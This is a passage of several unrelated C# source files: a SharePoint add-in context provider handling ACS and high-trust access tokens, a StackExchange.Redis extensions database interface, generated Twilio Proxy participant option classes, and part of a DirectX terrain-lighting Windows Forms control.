SharePointContext.GetSPHostUrl(httpContext.Request); string contextToken = TokenHelper.GetContextTokenFromRequest(httpContext.Request); HttpCookie spCacheKeyCookie = httpContext.Request.Cookies[SPCacheKeyKey]; string spCacheKey = spCacheKeyCookie != null ? spCacheKeyCookie.Value : null; return spHostUrl == spAcsContext.SPHostUrl && !string.IsNullOrEmpty(spAcsContext.CacheKey) && spCacheKey == spAcsContext.CacheKey && !string.IsNullOrEmpty(spAcsContext.ContextToken) && (string.IsNullOrEmpty(contextToken) || contextToken == spAcsContext.ContextToken); } return false; } protected override SharePointContext LoadSharePointContext(HttpContextBase httpContext) { return httpContext.Session[SPContextKey] as SharePointAcsContext; } protected override void SaveSharePointContext(SharePointContext spContext, HttpContextBase httpContext) { SharePointAcsContext spAcsContext = spContext as SharePointAcsContext; if (spAcsContext != null) { HttpCookie spCacheKeyCookie = new HttpCookie(SPCacheKeyKey) { Value = spAcsContext.CacheKey, Secure = true, HttpOnly = true }; httpContext.Response.AppendCookie(spCacheKeyCookie); } httpContext.Session[SPContextKey] = spAcsContext; } } #endregion ACS #region HighTrust /// <summary> /// Encapsulates all the information from SharePoint in HighTrust mode. /// </summary> public class SharePointHighTrustContext : SharePointContext { private readonly WindowsIdentity logonUserIdentity; /// <summary> /// The Windows identity for the current user. /// </summary> public WindowsIdentity LogonUserIdentity { get { return this.logonUserIdentity; } } public override string UserAccessTokenForSPHost { get { return GetAccessTokenString(ref this.userAccessTokenForSPHost, () => TokenHelper.GetS2SAccessTokenWithWindowsIdentity(this.SPHostUrl, this.LogonUserIdentity)); } } public override string UserAccessTokenForSPAppWeb { get { if (this.SPAppWebUrl == null) { return null; } return GetAccessTokenString(ref this.userAccessTokenForSPAppWeb, () => TokenHelper.GetS2SAccessTokenWithWindowsIdentity(this.SPAppWebUrl, this.LogonUserIdentity)); } } public override string AppOnlyAccessTokenForSPHost { get { return GetAccessTokenString(ref this.appOnlyAccessTokenForSPHost, () => TokenHelper.GetS2SAccessTokenWithWindowsIdentity(this.SPHostUrl, null)); } } public override string AppOnlyAccessTokenForSPAppWeb { get { if (this.SPAppWebUrl == null) { return null; } return GetAccessTokenString(ref this.appOnlyAccessTokenForSPAppWeb, () => TokenHelper.GetS2SAccessTokenWithWindowsIdentity(this.SPAppWebUrl, null)); } } public SharePointHighTrustContext(Uri spHostUrl, Uri spAppWebUrl, string spLanguage, string spClientTag, string spProductNumber, WindowsIdentity logonUserIdentity) : base(spHostUrl, spAppWebUrl, spLanguage, spClientTag, spProductNumber) { if (logonUserIdentity == null) { throw new ArgumentNullException("logonUserIdentity"); } this.logonUserIdentity = logonUserIdentity; } /// <summary> /// Ensures the access token is valid and returns it. /// </summary> /// <param name="accessToken">The access token to verify.</param> /// <param name="tokenRenewalHandler">The token renewal handler.</param> /// <returns>The access token string.</returns> private static string GetAccessTokenString(ref Tuple<string, DateTime> accessToken, Func<string> tokenRenewalHandler) { RenewAccessTokenIfNeeded(ref accessToken, tokenRenewalHandler); return IsAccessTokenValid(accessToken) ? accessToken.Item1 : null; } /// <summary> /// Renews the access token if it is not valid. /// </summary> /// <param name="accessToken">The access token to renew.</param> /// <param name="tokenRenewalHandler">The token renewal handler.</param> private static void RenewAccessTokenIfNeeded(ref Tuple<string, DateTime> accessToken, Func<string> tokenRenewalHandler) { if (IsAccessTokenValid(accessToken)) { return; } DateTime expiresOn = DateTime.UtcNow.Add(TokenHelper.HighTrustAccessTokenLifetime); if (TokenHelper.HighTrustAccessTokenLifetime > AccessTokenLifetimeTolerance) { // Make the access token get renewed a bit earlier than the time when it expires // so that the calls to SharePoint with it will have enough time to complete successfully. expiresOn -= AccessTokenLifetimeTolerance; } accessToken = Tuple.Create(tokenRenewalHandler(), expiresOn); } } /// <summary> /// Default provider for SharePointHighTrustContext. /// </summary> public class SharePointHighTrustContextProvider : SharePointContextProvider { private const string SPContextKey = "SPContext"; protected override SharePointContext CreateSharePointContext(Uri spHostUrl, Uri spAppWebUrl, string spLanguage, string spClientTag, string spProductNumber, HttpRequestBase httpRequest) { WindowsIdentity logonUserIdentity = httpRequest.LogonUserIdentity; if (logonUserIdentity == null || !logonUserIdentity.IsAuthenticated || logonUserIdentity.IsGuest || logonUserIdentity.User == null) { return null; } return new SharePointHighTrustContext(spHostUrl, spAppWebUrl, spLanguage, spClientTag, spProductNumber, logonUserIdentity); } protected override bool ValidateSharePointContext(SharePointContext spContext, HttpContextBase httpContext) { SharePointHighTrustContext spHighTrustContext = spContext as SharePointHighTrustContext; if (spHighTrustContext != null) { Uri spHostUrl = SharePointContext.GetSPHostUrl(httpContext.Request); WindowsIdentity logonUserIdentity = httpContext.Request.LogonUserIdentity; return spHostUrl == spHighTrustContext.SPHostUrl && logonUserIdentity != null && logonUserIdentity.IsAuthenticated && !logonUserIdentity.IsGuest && logonUserIdentity.User == spHighTrustContext.LogonUserIdentity.User; } return false; } protected override SharePointContext LoadSharePointContext(HttpContextBase httpContext) { return httpContext.Session[SPContextKey] as SharePointHighTrustContext; } protected override void SaveSharePointContext(SharePointContext spContext, HttpContextBase httpContext) { httpContext.Session[SPContextKey] = spContext as SharePointHighTrustContext; } } #endregion HighTrust }
// Copyright (c) Ugo Lattanzi. All Rights Reserved. Licensed under the MIT license. See License.txt in the project root for license information. using System; using System.Collections.Generic; using System.Threading.Tasks; using StackExchange.Redis.Extensions.Core.Models; namespace StackExchange.Redis.Extensions.Core.Abstractions; /// <summary> /// The Redis Database /// </summary> public partial interface IRedisDatabase { /// <summary> /// Gets the instance of <see cref="IDatabase" /> used be ICacheClient implementation /// </summary> IDatabase Database { get; } /// <summary> /// Gets the instance of <see cref="ISerializer" /> /// </summary> ISerializer Serializer { get; } /// <summary> /// Verify that the specified cache key exists /// </summary> /// <param name="key">The cache key.</param> /// <param name="flag">Behaviour markers associated with a given command</param> /// <returns>True if the key is present into Redis. Othwerwise False</returns> Task<bool> ExistsAsync(string key, CommandFlags flag = CommandFlags.None); /// <summary> /// Removes the specified key from Redis Database /// </summary> /// <param name="key">The cache key.</param> /// <returns>True if the key has removed. Othwerwise False</returns> /// <param name="flag">Behaviour markers associated with a given command</param> Task<bool> RemoveAsync(string key, CommandFlags flag = CommandFlags.None); /// <summary> /// Removes all specified keys from Redis Database /// </summary> /// <param name="keys">The cache keys.</param> /// <param name="flag">Behaviour markers associated with a given command</param> /// <returns>The numnber of items removed.</returns> Task<long> RemoveAllAsync(string[] keys, CommandFlags flag = CommandFlags.None); /// <summary> /// Get the object with the specified key from Redis database /// </summary> /// <typeparam name="T">The type of the expected object.</typeparam> /// <param name="key">The cache key.</param> /// <param name="flag">Behaviour markers associated with a given command</param> /// <returns>Null if not present, otherwise the instance of T.</returns> Task<T?> GetAsync<T>(string key, CommandFlags flag = CommandFlags.None); /// <summary>Get the object with the specified key from Redis database and update the expiry time</summary> /// <typeparam name="T">The type of the expected object.</typeparam> /// <param name="key">The cache key.</param> /// <param name="expiresAt">Expiration time.</param> /// <param name="flag">Behaviour markers associated with a given command</param> /// <returns>Null if not present, otherwise the instance of T.</returns> Task<T?> GetAsync<T>(string key, DateTimeOffset expiresAt, CommandFlags flag = CommandFlags.None); /// <summary> /// Get the object with the specified key from Redis database and update the expiry time /// </summary> /// <typeparam name="T">The type of the expected object.</typeparam> /// <param name="key">The cache key.</param> /// <param name="expiresIn">Time till the object expires.</param> /// <param name="flag">Behaviour markers associated with a given command</param> /// <returns> /// Null if not present, otherwise the instance of T. /// </returns> Task<T?> GetAsync<T>(string key, TimeSpan expiresIn, CommandFlags flag = CommandFlags.None); /// <summary> /// Adds the specified instance to the Redis database. /// </summary> /// <typeparam name="T">The type of the class to add to Redis</typeparam> /// <param name="key">The cache key.</param> /// <param name="value">The instance of T.</param> /// <param name="when">The condition (Always is the default value).</param> /// <param name="flag">Behaviour markers associated with a given command</param> /// <param name="tags">Tags</param> /// <returns>True if the object has been added. Otherwise false</returns> Task<bool> AddAsync<T>(string key, T value, When when = When.Always, CommandFlags flag = CommandFlags.None, HashSet<string>? tags = null); /// <summary> /// Replaces the object with specified key into Redis database. /// </summary> /// <typeparam name="T">The type of the object to serialize.</typeparam> /// <param name="key">The cache key.</param> /// <param name="value">The instance of T</param> /// <param name="when">The condition (Always is the default value).</param> /// <param name="flag">Behaviour markers associated with a given command</param> /// <returns> /// True if the object has been added. Otherwise false /// </returns> Task<bool> ReplaceAsync<T>(string key, T value, When when = When.Always, CommandFlags flag = CommandFlags.None); /// <summary> /// Adds the specified instance to the Redis database. /// </summary> /// <typeparam name="T">The type of the class to add to Redis</typeparam> /// <param name="key">The cache key.</param> /// <param name="value">The instance of T.</param> /// <param name="expiresAt">Expiration time.</param> /// <param name="when">The condition (Always is the default value).</param> /// <param name="flag">Behaviour markers associated with a given command</param> /// <param name="tags">Tags</param> /// <returns> /// True if the object has been added. Otherwise false /// </returns> Task<bool> AddAsync<T>(string key, T value, DateTimeOffset expiresAt, When when = When.Always, CommandFlags flag = CommandFlags.None, HashSet<string>? tags = null); /// <summary> /// Replaces the object with specified key into Redis database. /// </summary> /// <typeparam name="T">The type of the object to serialize.</typeparam> /// <param name="key">The cache key.</param> /// <param name="value">The instance of T</param> /// <param name="expiresAt">Expiration time.</param> /// <param name="when">The condition (Always is the default value).</param> /// <param name="flag">Behaviour markers associated with a given command</param> /// <returns> /// True if the object has been added. Otherwise false /// </returns> Task<bool> ReplaceAsync<T>(string key, T value, DateTimeOffset expiresAt, When when = When.Always, CommandFlags flag = CommandFlags.None); /// <summary> /// Adds the specified instance to the Redis database. /// </summary> /// <typeparam name="T">The type of the class to add to Redis</typeparam> /// <param name="key">The cache key.</param> /// <param name="value">The instance of T.</param> /// <param name="expiresIn">The duration of the cache using Timespan.</param> /// <param name="when">The condition (Always is the default value).</param> /// <param name="flag">Behaviour markers associated with a given command</param> /// <param name="tags">Tags</param> /// <returns> /// True if the object has been added. Otherwise false /// </returns> Task<bool> AddAsync<T>(string key, T value, TimeSpan expiresIn, When when = When.Always, CommandFlags flag = CommandFlags.None, HashSet<string>? tags = null); /// <summary> /// Replaces the object with specified key into Redis database. /// </summary> /// <typeparam name="T">The type of the object to serialize.</typeparam> /// <param name="key">The cache key.</param> /// <param name="value">The instance of T</param> /// <param name="expiresIn">The duration of the cache using Timespan.</param> /// <param name="when">The condition (Always is the default value).</param> /// <param name="flag">Behaviour markers associated with a given command</param> /// <returns> /// True if the object has been added. Otherwise false /// </returns> Task<bool> ReplaceAsync<T>(string key, T value, TimeSpan expiresIn, When when = When.Always, CommandFlags flag = CommandFlags.None); /// <summary> /// Get the objects with the specified keys from Redis database with a single roundtrip /// </summary> /// <typeparam name="T">The type of the expected object.</typeparam> /// <param name="keys">The cache keys.</param> /// <returns> /// Empty list if there are no results, otherwise the instance of T. /// If a cache key is not present on Redis the specified object into the returned Dictionary will be null /// </returns> Task<IDictionary<string, T?>> GetAllAsync<T>(string[] keys); /// <summary> /// Get the objects with the specified keys from Redis database with one roundtrip /// </summary> /// <typeparam name="T">The type of the expected object.</typeparam> /// <param name="keys">The cache keys.</param> /// <param name="expiresAt">Expiration time.</param> /// <returns> /// Empty list if there are no results, otherwise the instance of T. /// If a cache key is not present on Redis the specified object into the returned Dictionary will be null /// </returns> Task<IDictionary<string, T?>> GetAllAsync<T>(string[] keys, DateTimeOffset expiresAt); /// <summary> /// Get the objects with the specified keys from Redis database with one roundtrip /// </summary> /// <typeparam name="T">The type of the expected object.</typeparam> /// <param name="keys">The cache keys.</param> /// <param name="expiresIn">Time until expiration.</param> /// <returns> /// Empty list if there are no results, otherwise the instance of T. /// If a cache key is not present on Redis the specified object into the returned Dictionary will be null /// </returns> Task<IDictionary<string, T?>> GetAllAsync<T>(string[] keys, TimeSpan expiresIn); /// <summary> /// Add the objects with the specified keys to Redis database with a single roundtrip /// </summary> /// <typeparam name="T">The type of the expected object.</typeparam> /// <param name="items">The items.</param> /// <param name="expiresAt">Expiration time.</param> /// <param name="when">The condition (Always is the default value).</param> /// <param name="flag">Behaviour markers associated with a given command</param> Task<bool> AddAllAsync<T>(Tuple<string, T>[] items, DateTimeOffset expiresAt, When when = When.Always, CommandFlags flag = CommandFlags.None); /// <summary> /// Add the objects with the specified keys to Redis database with a single roundtrip /// </summary> /// <typeparam name="T">The type of the expected object.</typeparam> /// <param name="items">The items.</param> /// <param name="when">The condition (Always is the default value).</param> /// <param name="flag">Behaviour markers associated with a given command</param> Task<bool> AddAllAsync<T>(Tuple<string, T>[] items, When when = When.Always, CommandFlags flag = CommandFlags.None); /// <summary> /// Add the objects with the specified keys to Redis database with a single roundtrip /// </summary> /// <typeparam name="T">The type of the expected object.</typeparam> /// <param name="items">The items.</param> /// <param name="expiresIn">Time until expiration.</param> /// <param name="when">The condition (Always is the default value).</param> /// <param name="flag">Behaviour markers associated with a given command</param> Task<bool> AddAllAsync<T>(Tuple<string, T>[] items, TimeSpan expiresIn, When when = When.Always, CommandFlags flag = CommandFlags.None); /// <summary> /// Run SADD command http://redis.io/commands/sadd /// </summary> /// <typeparam name="T">The type of the expected object.</typeparam> /// <param name="key">The cache key.</param> /// <param name="item">Name of the member.</param> /// <param name="flag">Behaviour markers associated with a given command.</param> Task<bool> SetAddAsync<T>(string key, T item, CommandFlags flag = CommandFlags.None) ; /// <summary> /// Run SPOP command https://redis.io/commands/spop /// </summary> /// <typeparam name="T">The type of the expected object.</typeparam> /// <param name="key">The key of the set</param> /// <param name="flag">Behaviour markers associated with a given command</param> Task<T?> SetPopAsync<T>(string key, CommandFlags flag = CommandFlags.None) ; /// <summary> /// Run SPOP command https://redis.io/commands/spop /// </summary> /// <typeparam name="T">The type of the expected object.</typeparam> /// <param name="key">The key of the set</param> /// <param name="count">The number of elements to return</param> /// <param name="flag">Behaviour markers associated with a given command</param> Task<IEnumerable<T?>> SetPopAsync<T>(string key, long count, CommandFlags flag = CommandFlags.None) ; /// <summary> /// Returns if member is a member of the set stored at key. /// </summary> /// <typeparam name="T">The type of the expected object.</typeparam> /// <param name="key">The cache key.</param> /// <param name="item">The item to store into redis.</param> /// <param name="flag">Behaviour markers associated with a given command.</param> Task<bool> SetContainsAsync<T>(string key, T item, CommandFlags flag = CommandFlags.None) ; /// <summary> /// Run SADD command http://redis.io/commands/sadd /// </summary> /// <typeparam name="T">The type of the expected object.</typeparam> /// <param name="key">The cache key.</param> /// <param name="flag">Behaviour markers associated with a given command</param> /// <param name="items">Name of the member.</param> Task<long> SetAddAllAsync<T>(string key, CommandFlags flag = CommandFlags.None, params T[] items) ; /// <summary> /// Run SREM command http://redis.io/commands/srem" /// </summary> /// <typeparam name="T">The type of the expected object.</typeparam> /// <param name="key">The cache key.</param> /// <param name="item">The object to store into redis</param> /// <param name="flag">Behaviour markers associated with a given command</param> Task<bool> SetRemoveAsync<T>(string key, T item, CommandFlags flag = CommandFlags.None) ; /// <summary> /// Run SREM command http://redis.io/commands/srem /// </summary> /// <typeparam name="T">The type of the expected object.</typeparam> /// <param name="key">The cache key.</param> /// <param name="flag">Behaviour markers associated with a given command</param> /// <param name="items">The items to store into Redis.</param> Task<long> SetRemoveAllAsync<T>(string key, CommandFlags flag = CommandFlags.None, params T[] items) ; /// <summary> /// Run SMEMBERS command see http://redis.io/commands/SMEMBERS /// </summary> /// <param name="memberName">Name of the member.</param> /// <param name="flag">Behaviour markers associated with a given command</param> Task<string[]> SetMemberAsync(string memberName, CommandFlags flag = CommandFlags.None); /// <summary> /// Run SMEMBERS command see http://redis.io/commands/SMEMBERS /// Deserializes the results to T /// </summary> /// <typeparam name="T">The type of the expected objects in the set</typeparam> /// <param name="key">The key</param> /// <param name="flag">Behaviour markers associated with a given command</param> /// <returns>An array of objects in the set</returns> Task<T[]> SetMembersAsync<T>(string key, CommandFlags flag = CommandFlags.None); /// <summary> /// Searches the keys from Redis database /// </summary> /// <remarks> /// Consider this as a command that should only be used in production environments with extreme care. It may ruin performance when it is executed against large databases /// </remarks> /// <param name="pattern">The pattern.</param> /// <example> /// if you want to return all keys that start with "myCacheKey" uses "myCacheKey*" /// if you want to return all keys that contain with "myCacheKey" uses "*myCacheKey*" /// if you want to return all keys that end with "myCacheKey" uses "*myCacheKey" /// </example> /// <returns>A list of cache keys retrieved from Redis database</returns> Task<IEnumerable<string>> SearchKeysAsync(string pattern); /// <summary> /// Flushes the database asynchronous. /// </summary> Task FlushDbAsync(); /// <summary> /// Save the DB in background asynchronous. /// </summary> Task SaveAsync(SaveType saveType, CommandFlags flag = CommandFlags.None); /// <summary> /// Gets the information about redis. /// More info see http://redis.io/commands/INFO /// </summary> Task<Dictionary<string, string>> GetInfoAsync(); /// <summary> /// Gets the information about redis with category. /// More info see http://redis.io/commands/INFO /// </summary> Task<InfoDetail[]> GetInfoCategorizedAsync(); /// <summary> /// Updates the expiry time of a redis cache object /// </summary> /// <param name="key">The key of the object</param> /// <param name="expiresAt">The new expiry time of the object</param> /// <param name="flag">Behaviour markers associated with a given command</param> /// <returns>True if the object is updated, false if the object does not exist</returns> Task<bool> UpdateExpiryAsync(string key, DateTimeOffset expiresAt, CommandFlags flag = CommandFlags.None); /// <summary> /// Updates the expiry time of a redis cache object /// </summary> /// <param name="key">The key of the object</param> /// <param name="expiresIn">Time until the object will expire</param> /// <param name="flag">Behaviour markers associated with a given command</param> /// <returns>True if the object is updated, false if the object does not exist</returns> Task<bool> UpdateExpiryAsync(string key, TimeSpan expiresIn, CommandFlags flag = CommandFlags.None); /// <summary> /// Updates the expiry time of a redis cache object /// </summary> /// <param name="keys">An array of keys to be updated</param> /// <param name="expiresAt">The new expiry time of the object</param> /// <param name="flag">Behaviour markers associated with a given command</param> /// <returns>An array of type bool, where true if the object is updated and false if the object does not exist at the same index as the input keys</returns> Task<IDictionary<string, bool>> UpdateExpiryAllAsync(string[] keys, DateTimeOffset expiresAt, CommandFlags flag = CommandFlags.None); /// <summary> /// Updates the expiry time of a redis cache object /// </summary> /// <param name="keys">An array of keys to be updated</param> /// <param name="expiresIn">Time until the object will expire</param> /// <param name="flag">Behaviour markers associated with a given command</param> /// <returns>An IDictionary object that contains the origional key and the result of the operation</returns> Task<IDictionary<string, bool>> UpdateExpiryAllAsync(string[] keys, TimeSpan expiresIn, CommandFlags flag = CommandFlags.None); }
/// This code was generated by /// \ / _ _ _| _ _ /// | (_)\/(_)(_|\/| |(/_ v1.0.0 /// / / using System; using System.Collections.Generic; using Twilio.Base; using Twilio.Converters; namespace Twilio.Rest.Proxy.V1.Service.Session { /// <summary> /// PLEASE NOTE that this class contains beta products that are subject to change. Use them with caution. /// /// Fetch a specific Participant. /// </summary> public class FetchParticipantOptions : IOptions<ParticipantResource> { /// <summary> /// The SID of the parent Service of the resource to fetch /// </summary> public string PathServiceSid { get; } /// <summary> /// The SID of the parent Session of the resource to fetch /// </summary> public string PathSessionSid { get; } /// <summary> /// The unique string that identifies the resource /// </summary> public string PathSid { get; } /// <summary> /// Construct a new FetchParticipantOptions /// </summary> /// <param name="pathServiceSid"> The SID of the parent Service of the resource to fetch </param> /// <param name="pathSessionSid"> The SID of the parent Session of the resource to fetch </param> /// <param name="pathSid"> The unique string that identifies the resource </param> public FetchParticipantOptions(string pathServiceSid, string pathSessionSid, string pathSid) { PathServiceSid = pathServiceSid; PathSessionSid = pathSessionSid; PathSid = pathSid; } /// <summary> /// Generate the necessary parameters /// </summary> public List<KeyValuePair<string, string>> GetParams() { var p = new List<KeyValuePair<string, string>>(); return p; } } /// <summary> /// PLEASE NOTE that this class contains beta products that are subject to change. Use them with caution. /// /// Retrieve a list of all Participants in a Session. /// </summary> public class ReadParticipantOptions : ReadOptions<ParticipantResource> { /// <summary> /// The SID of the parent Service of the resource to read /// </summary> public string PathServiceSid { get; } /// <summary> /// The SID of the parent Session of the resource to read /// </summary> public string PathSessionSid { get; } /// <summary> /// Construct a new ReadParticipantOptions /// </summary> /// <param name="pathServiceSid"> The SID of the parent Service of the resource to read </param> /// <param name="pathSessionSid"> The SID of the parent Session of the resource to read </param> public ReadParticipantOptions(string pathServiceSid, string pathSessionSid) { PathServiceSid = pathServiceSid; PathSessionSid = pathSessionSid; } /// <summary> /// Generate the necessary parameters /// </summary> public override List<KeyValuePair<string, string>> GetParams() { var p = new List<KeyValuePair<string, string>>(); if (PageSize != null) { p.Add(new KeyValuePair<string, string>("PageSize", PageSize.ToString())); } return p; } } /// <summary> /// PLEASE NOTE that this class contains beta products that are subject to change. Use them with caution. /// /// Add a new Participant to the Session /// </summary> public class CreateParticipantOptions : IOptions<ParticipantResource> { /// <summary> /// The SID of the parent Service resource /// </summary> public string PathServiceSid { get; } /// <summary> /// The SID of the parent Session resource /// </summary> public string PathSessionSid { get; } /// <summary> /// The phone number of the Participant /// </summary> public string Identifier { get; } /// <summary> /// The string that you assigned to describe the participant /// </summary> public string FriendlyName { get; set; } /// <summary> /// The proxy phone number to use for the Participant /// </summary> public string ProxyIdentifier { get; set; } /// <summary> /// The Proxy Identifier Sid /// </summary> public string ProxyIdentifierSid { get; set; } /// <summary> /// An experimental parameter to override the ProxyAllowParticipantConflict account flag on a per-request basis. /// </summary> public bool? FailOnParticipantConflict { get; set; } /// <summary> /// Construct a new CreateParticipantOptions /// </summary> /// <param name="pathServiceSid"> The SID of the parent Service resource </param> /// <param name="pathSessionSid"> The SID of the parent Session resource </param> /// <param name="identifier"> The phone number of the Participant </param> public CreateParticipantOptions(string pathServiceSid, string pathSessionSid, string identifier) { PathServiceSid = pathServiceSid; PathSessionSid = pathSessionSid; Identifier = identifier; } /// <summary> /// Generate the necessary parameters /// </summary> public List<KeyValuePair<string, string>> GetParams() { var p = new List<KeyValuePair<string, string>>(); if (Identifier != null) { p.Add(new KeyValuePair<string, string>("Identifier", Identifier)); } if (FriendlyName != null) { p.Add(new KeyValuePair<string, string>("FriendlyName", FriendlyName)); } if (ProxyIdentifier != null) { p.Add(new KeyValuePair<string, string>("ProxyIdentifier", ProxyIdentifier)); } if (ProxyIdentifierSid != null) { p.Add(new KeyValuePair<string, string>("ProxyIdentifierSid", ProxyIdentifierSid.ToString())); } if (FailOnParticipantConflict != null) { p.Add(new KeyValuePair<string, string>("FailOnParticipantConflict", FailOnParticipantConflict.Value.ToString().ToLower())); } return p; } } /// <summary> /// PLEASE NOTE that this class contains beta products that are subject to change. Use them with caution. /// /// Delete a specific Participant. This is a soft-delete. The participant remains associated with the session and cannot /// be re-added. Participants are only permanently deleted when the /// [Session](https://www.twilio.com/docs/proxy/api/session) is deleted. /// </summary> public class DeleteParticipantOptions : IOptions<ParticipantResource> { /// <summary> /// The SID of the parent Service of the resource to delete /// </summary> public string PathServiceSid { get; } /// <summary> /// The SID of the parent Session of the resource to delete /// </summary> public string PathSessionSid { get; } /// <summary> /// The unique string that identifies the resource /// </summary> public string PathSid { get; } /// <summary> /// Construct a new DeleteParticipantOptions /// </summary> /// <param name="pathServiceSid"> The SID of the parent Service of the resource to delete </param> /// <param name="pathSessionSid"> The SID of the parent Session of the resource to delete </param> /// <param name="pathSid"> The unique string that identifies the resource </param> public DeleteParticipantOptions(string pathServiceSid, string pathSessionSid, string pathSid) { PathServiceSid = pathServiceSid; PathSessionSid = pathSessionSid; PathSid = pathSid; } /// <summary> /// Generate the necessary parameters /// </summary> public List<KeyValuePair<string, string>> GetParams() { var p = new List<KeyValuePair<string, string>>(); return p; } } }
using System; using System.Collections; using System.ComponentModel; using System.Drawing; using System.Data; using System.Windows.Forms; using Microsoft.DirectX; using Microsoft.DirectX.Direct3D; using Voyage.Terraingine.DataInterfacing; using Voyage.Terraingine.DXViewport; using Voyage.LuaNetInterface; namespace Voyage.Terraingine { /// <summary> /// A user control for manipulating lighting of terrain. /// </summary> public class LightManipulation : System.Windows.Forms.UserControl { #region Data Members private DataInterfacing.ViewportInterface _viewport; private DataInterfacing.DataManipulation _terrainData; private TerrainViewport _owner; private DXViewport.Viewport _dx; private bool _updateData; private System.Windows.Forms.GroupBox grpLights_VertexColoring; private System.Windows.Forms.Button btnLights_HeightColor; private System.Windows.Forms.GroupBox grpLights_Primary; private System.Windows.Forms.NumericUpDown numLights_Angle; private System.Windows.Forms.Label label13; private System.Windows.Forms.TextBox txtLights_PrimaryB; private System.Windows.Forms.TextBox txtLights_PrimaryG; private System.Windows.Forms.TextBox txtLights_PrimaryR; private System.Windows.Forms.Label label12; private System.Windows.Forms.Label label11; private System.Windows.Forms.Label label10; private System.Windows.Forms.TrackBar trkLights_PrimaryB; private System.Windows.Forms.TrackBar trkLights_PrimaryG; private System.Windows.Forms.TrackBar trkLights_PrimaryR; private System.Windows.Forms.Button btnLights_DefaultColor; /// <summary> /// Required designer variable. /// </summary> private System.ComponentModel.Container components = null; #endregion #region Properties /// <summary> /// Gets or sets whether the control allows data updates. /// </summary> public bool EnableDataUpdates { get { return _updateData; } set { _updateData = value; } } #endregion #region Basic Form Methods /// <summary> /// Creates a lighting manipulation user control. /// </summary> public LightManipulation() { // This call is required by the Windows.Forms Form Designer. InitializeComponent(); } /// <summary> /// Clean up any resources being used. /// </summary> protected override void Dispose( bool disposing ) { if( disposing ) { if(components != null) { components.Dispose(); } } base.Dispose( disposing ); } /// <summary> /// Initializes the control's data members. /// </summary> /// <param name="owner">The TerrainViewport that contains the control.</param> public void Initialize( TerrainViewport owner ) { // Shortcut variables for the DirectX viewport and the terrain data _owner = owner; _viewport = owner.MainViewport; _terrainData = owner.MainViewport.TerrainData; _dx = owner.MainViewport.DXViewport; // Initialize the control-specific data _updateData = true; // Register tooltips ToolTip t = new ToolTip(); // Adjust Primary Light group tooltips t.SetToolTip( trkLights_PrimaryR, "Amount of red in the primary light" ); t.SetToolTip( txtLights_PrimaryR, "Amount of red in the primary light" ); t.SetToolTip( trkLights_PrimaryG, "Amount of green in the primary light" ); t.SetToolTip( txtLights_PrimaryG, "Amount of green in the primary light" ); t.SetToolTip( trkLights_PrimaryB, "Amount of blue in the primary light" ); t.SetToolTip( txtLights_PrimaryB, "Amount of blue in the primary light" ); // Vertex Coloring group tooltips t.SetToolTip( btnLights_DefaultColor, "Display normal terrain coloring" ); t.SetToolTip( btnLights_HeightColor, "Display terrain vertex color by height" ); } #endregion #region Adjust Primary Light /// <summary> /// Changes the red-color element of the primary light. /// </summary> private void txtLights_PrimaryR_TextChanged(object sender, System.EventArgs e) { if ( _updateData && trkLights_PrimaryR.Value.ToString().Length > 0 ) { trkLights_PrimaryR.Value = Convert.ToInt32( txtLights_PrimaryR.Text ); UpdatePrimaryLightColor(); } } /// <summary> /// Changes the green-color element of the primary light. /// </summary> private void txtLights_PrimaryG_TextChanged(object sender, System.EventArgs e) { if ( _updateData && trkLights_PrimaryG.Value.ToString().Length > 0 ) { trkLights_PrimaryG.Value = Convert.ToInt32( txtLights_PrimaryG.Text ); UpdatePrimaryLightColor(); } } /// <summary> /// Changes the blue-color element of the primary light. /// </summary> private void txtLights_PrimaryB_TextChanged(object sender, System.EventArgs e) { if ( _updateData && trkLights_PrimaryB.Value.ToString().Length > 0 ) { trkLights_PrimaryB.Value = Convert.ToInt32( txtLights_PrimaryB.Text ); UpdatePrimaryLightColor(); } } /// <summary> /// Changes the red-color element of the primary light. /// </summary> private void trkLights_PrimaryR_Scroll(object sender, System.EventArgs e) { if ( _updateData ) { txtLights_PrimaryR.Text = trkLights_PrimaryR.Value.ToString(); UpdatePrimaryLightColor(); } } /// <summary> /// Changes the green-color element of the primary light. /// </summary> private void trkLights_PrimaryG_Scroll(object sender, System.EventArgs e) { if ( _updateData ) { txtLights_PrimaryG.Text = trkLights_PrimaryG.Value.ToString(); UpdatePrimaryLightColor(); } } /// <summary> /// Changes the blue-color element of the primary light. /// </summary> private void trkLights_PrimaryB_Scroll(object sender, System.EventArgs e) { if ( _updateData ) { txtLights_PrimaryB.Text = trkLights_PrimaryB.Value.ToString(); UpdatePrimaryLightColor(); } } /// <summary> /// Changes the angle of the primary light around the terrain. /// </summary> private void numLights_Angle_ValueChanged(object sender, System.EventArgs e) { // Adjust the angle value to cycle between 0 and 360. if ( numLights_Angle.Value > 359 ) { if ( _updateData ) { _updateData = false; numLights_Angle.Value = 0; _updateData = true; } else numLights_Angle.Value = 0; } if ( numLights_Angle.Value < 0 ) { if ( _updateData ) { _updateData = false; numLights_Angle.Value = 359; _updateData = true; } else numLights_Angle.Value = 359; } UpdatePrimaryLightAngle(); } #endregion #region Vertex Coloring /// <summary> /// Sets the base color of the terrain to the lighting color. /// </summary> private void btnLights_DefaultColor_Click(object sender, System.EventArgs e) { ColorTerrainByLighting(); } /// <summary> /// Sets the base color of the terrain to coloring dependent upon vertex height. /// </summary> private void btnLights_HeightColor_Click(object sender, System.EventArgs e) { ColorTerrainByHeight(); } #endregion #region Other Terrain Functions /// <summary> /// Updates the primary light color. /// </summary> private void UpdatePrimaryLightColor() { if ( _updateData ) { Color color = _dx.Device.Lights[0].Diffuse; color = Color.FromArgb( Convert.ToInt32( txtLights_PrimaryR.Text ), Convert.ToInt32( txtLights_PrimaryG.Text ), Convert.ToInt32( txtLights_PrimaryB.Text ) ); _dx.Device.Lights[0].Diffuse = color; _dx.Device.Lights[0].Update(); } } /// <summary> /// Updates the direction of the primary light. /// </summary> private void UpdatePrimaryLightAngle() { if ( _updateData ) { float angle = ( (float) numLights_Angle.Value ) * (float) Math.PI / 180.0f; Vector3 dir; dir.X = ( float ) -Math.Cos( angle ); dir.Y = 0.0f; dir.Z = ( float ) -Math.Sin( angle ); dir.Normalize(); dir.Y = -1.0f; _dx.Device.Lights[0].Direction = new Vector3( dir.X, dir.Y, dir.Z ); _dx.Device.Lights[0].Update(); } } /// <summary> /// Initializes the primary light controls to the DirectX settings. /// </summary> [LuaFunctionAttribute( "InitializeLighting", "Initializes the primary light controls to the DirectX settings." )] public void InitializePrimaryLight() { _updateData = false; 